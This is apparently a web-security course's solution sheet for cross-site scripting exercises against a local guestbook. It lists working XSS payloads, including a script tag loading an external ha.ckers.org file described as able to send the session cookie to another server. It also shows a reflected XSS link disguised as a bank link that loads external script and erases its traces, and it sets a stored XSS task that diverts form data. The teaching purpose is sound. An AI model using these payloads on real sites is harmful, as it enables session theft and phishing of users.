Exercise Cross Site Scripting - XSS (Solutions)

Try some XSS examples

You had to try the following examples:

• ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  Displays an alert message :"XSS"
• '';!--"<XSS>=&{()}
  Does the same (if you can type only a small text)
• <IMG SRC="javascript:alert('XSS');">
  Very easy, but nevertheless efficient with IE.
• <IMG SRC=" &#14; javascript:alert('XSS');">
  Idem, just more difficult to be tested
• <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  Executes any javascript programm. Can lead to harmful attacks (imagine just what you can do in javascript). This program reads the PHPSessionID (means cookie) and could resend it to any other server.
• Integrate an image in the document:
  <IMG SRC=/xampp/img/signature-kay.gif>

Write your own Cross Site Scripting

Reflected XSS in an e-mail

You have to use an email editor that allows HTML emails. Then you write something that looks like the following file:
reflected.php (source)
Here are the most important features:

• Load an external file (such that you are not limited in the use of quotes):
  We create a link in a page (or email) where the victim will click on it:

  <a href="http://localhost/WebSecurity/examples/guestbook/index.php?search=<script src=http://localhost/WebSecurity/examples/exercises/xss/reflected.js></script>">Your bank (or guest book)</a>
  

  is equivalent to writing <script src=http://localhost/WebSecurity/examples/exercises/xss/reflected.js></script> in the search field.
• In this file reflected.js you may change the content of the page
• First, change the title:

  document.getElementById("title").innerHTML="HelloWorld";
  

• Then remove the traces:

  function resetForm(){
  	 document.getElementById("search-form").innerHTML="Search <input type='text' name='search' value='' /><input type='submit' id='btnsearch' value='Search Messages' />";
  }
  

• Unfortunately, it has to be done in the future (because the javascript is inserted before the form):

  setTimeout("resetForm()",50);
  

Stored XSS

Write a Stored-XSS attack (means add a new line in your guestbook that contains this attack) that changes the action of your search form and sends the information to another site that redirects finally to the right page (quite similar to the example for the login in the xss examples page).